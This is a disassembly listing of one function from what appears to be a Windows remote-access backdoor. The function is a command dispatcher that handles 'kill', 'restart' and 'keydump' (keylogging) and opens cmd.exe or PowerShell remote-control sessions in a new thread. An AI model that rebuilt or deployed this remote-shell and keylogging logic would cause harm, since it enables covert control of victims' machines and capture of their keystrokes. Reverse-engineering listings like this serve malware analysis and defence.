Function at 0x4032fe
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xb4
mov dword [esp + 4], str.kill
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004b64cc
test al, al
je 0x403352
call fcn.0040379e
lea eax, [ebp - 0x96]
mov dword [ebp - 0x10], eax
nop
nop
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x96]
mov dword [esp + 4], edx
mov dword [esp], str.killing_self
mov ecx, eax
call fcn.004a6560
sub esp, 8
jmp 0x403703
mov dword [esp + 4], str.restart
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004b64cc
test al, al
je 0x40339c
call fcn.0040370c
lea eax, [ebp - 0x95]
mov dword [ebp - 0x14], eax
nop
nop
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x95]
mov dword [esp + 4], edx
mov dword [esp], str.restarting
mov ecx, eax
call fcn.004a6560
sub esp, 8
jmp 0x403703
mov dword [esp + 4], str.keydump
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004b64cc
test al, al
je 0x4033c3
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00403b2a
jmp 0x403703
lea eax, [ebp - 0x79]
mov dword [ebp - 0x18], eax
nop
nop
lea eax, [ebp - 0x94]
lea edx, [ebp - 0x79]
mov dword [esp + 4], edx
mov dword [esp], str.remoteControl
mov ecx, eax
call fcn.004a6560
sub esp, 8
lea eax, [ebp - 0x94]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004032a2
mov ebx, eax
lea eax, [ebp - 0x94]
mov ecx, eax
call fcn.004a6e10
nop
test bl, bl
je 0x403661
movzx eax, byte [0x51604c]
xor eax, 1
test al, al
je 0x4035ee
mov dword [esp + 4], 0x4c5500
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004b64cc
test al, al
je 0x403455
mov eax, dword [ebp + 0xc]
mov dword [esp], str.C:WINDOWS_system32cmd.exe
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x4034ad
mov dword [esp + 4], 0x4c5520
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004b64cc
test al, al
je 0x403482
mov eax, dword [ebp + 0xc]
mov dword [esp], str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
mov ecx, eax
call fcn.004a7088
sub esp, 4
jmp 0x4034ad
mov dword [esp + 4], str.pws32
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004b64cc
test al, al
je 0x4034ad
mov eax, dword [ebp + 0xc]
mov dword [esp], str.C:WindowsSysWOW64WindowsPowerShell_v1.0powershell.exe
mov ecx, eax
call fcn.004a7088
sub esp, 4
lea eax, [ebp - 0x78]
mov edx, dword [ebp + 0xc]
mov dword [esp], edx
mov ecx, eax
call fcn.004a6024
sub esp, 4
lea eax, [ebp - 0x78]
mov dword [esp], eax
call fcn.00404b4c
mov ebx, eax
lea eax, [ebp - 0x78]
mov ecx, eax
call fcn.004a6e10
test bl, bl
je 0x4035c6
mov eax, dword [ebp + 0xc]
mov ecx, eax
call fcn.00436330
add eax, 3
mov dword [esp], eax
call fcn.004b8ef0
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp + 0xc]
mov ecx, eax
call fcn.00436330
add eax, ebx
mov byte [eax], 0
mov eax, dword [ebp + 0xc]
mov ecx, eax
call fcn.00436140
mov ebx, eax
mov eax, dword [ebp + 0xc]
mov ecx, eax
call fcn.00436330
add eax, 2
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
call eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x401fb4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
call eax
jmp 0x40357f
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
movzx eax, byte [0x51604c]
xor eax, 1
test al, al
jne 0x40356e
cmp dword [ebp - 0xc], 0
je 0x40359e
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.004b8eb0
lea eax, [ebp - 0x5e]
mov dword [ebp - 0x1c], eax
nop
nop
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x5e]
mov dword [esp + 4], edx
mov dword [esp], str.CMD_session_opened.
mov ecx, eax
call fcn.004a6560
sub esp, 8
jmp 0x403703
lea eax, [ebp - 0x5d]
mov dword [ebp - 0x20], eax
nop
nop
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x5d]
mov dword [esp + 4], edx
mov dword [esp], str.File_doesnt_exist.
mov ecx, eax
call fcn.004a6560
sub esp, 8
jmp 0x403703
mov ebx, dword [0x516048]
lea eax, [ebp - 0x42]
mov dword [ebp - 0x24], eax
nop
nop
lea eax, [ebp - 0x5c]
lea edx, [ebp - 0x42]
mov dword [esp + 4], edx
mov dword [esp], str.exit
mov ecx, eax
call fcn.004a6560
sub esp, 8
lea eax, [ebp - 0x5c]
mov dword [esp], eax
mov ecx, ebx
call fcn.0040225e
sub esp, 4
lea eax, [ebp - 0x5c]
mov ecx, eax
call fcn.004a6e10
nop
mov byte [0x51604c], 0
lea eax, [ebp - 0x41]
mov dword [ebp - 0x28], eax
nop
nop
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x41]
mov dword [esp + 4], edx
mov dword [esp], str.CMD_session_closed
mov ecx, eax
call fcn.004a6560
sub esp, 8
jmp 0x403703
lea eax, [ebp - 0x40]
mov edx, dword [ebp + 0xc]
mov dword [esp + 8], edx
mov dword [esp + 4], str.Command_
mov dword [esp], eax
call fcn.004b6e04
mov edx, dword [ebp + 8]
mov dword [esp + 8], str._was_not_recognized.
lea eax, [ebp - 0x40]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.004b6d54
nop
lea eax, [ebp - 0x40]
mov ecx, eax
call fcn.004a6e10
jmp 0x403703
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 4]
leave
ret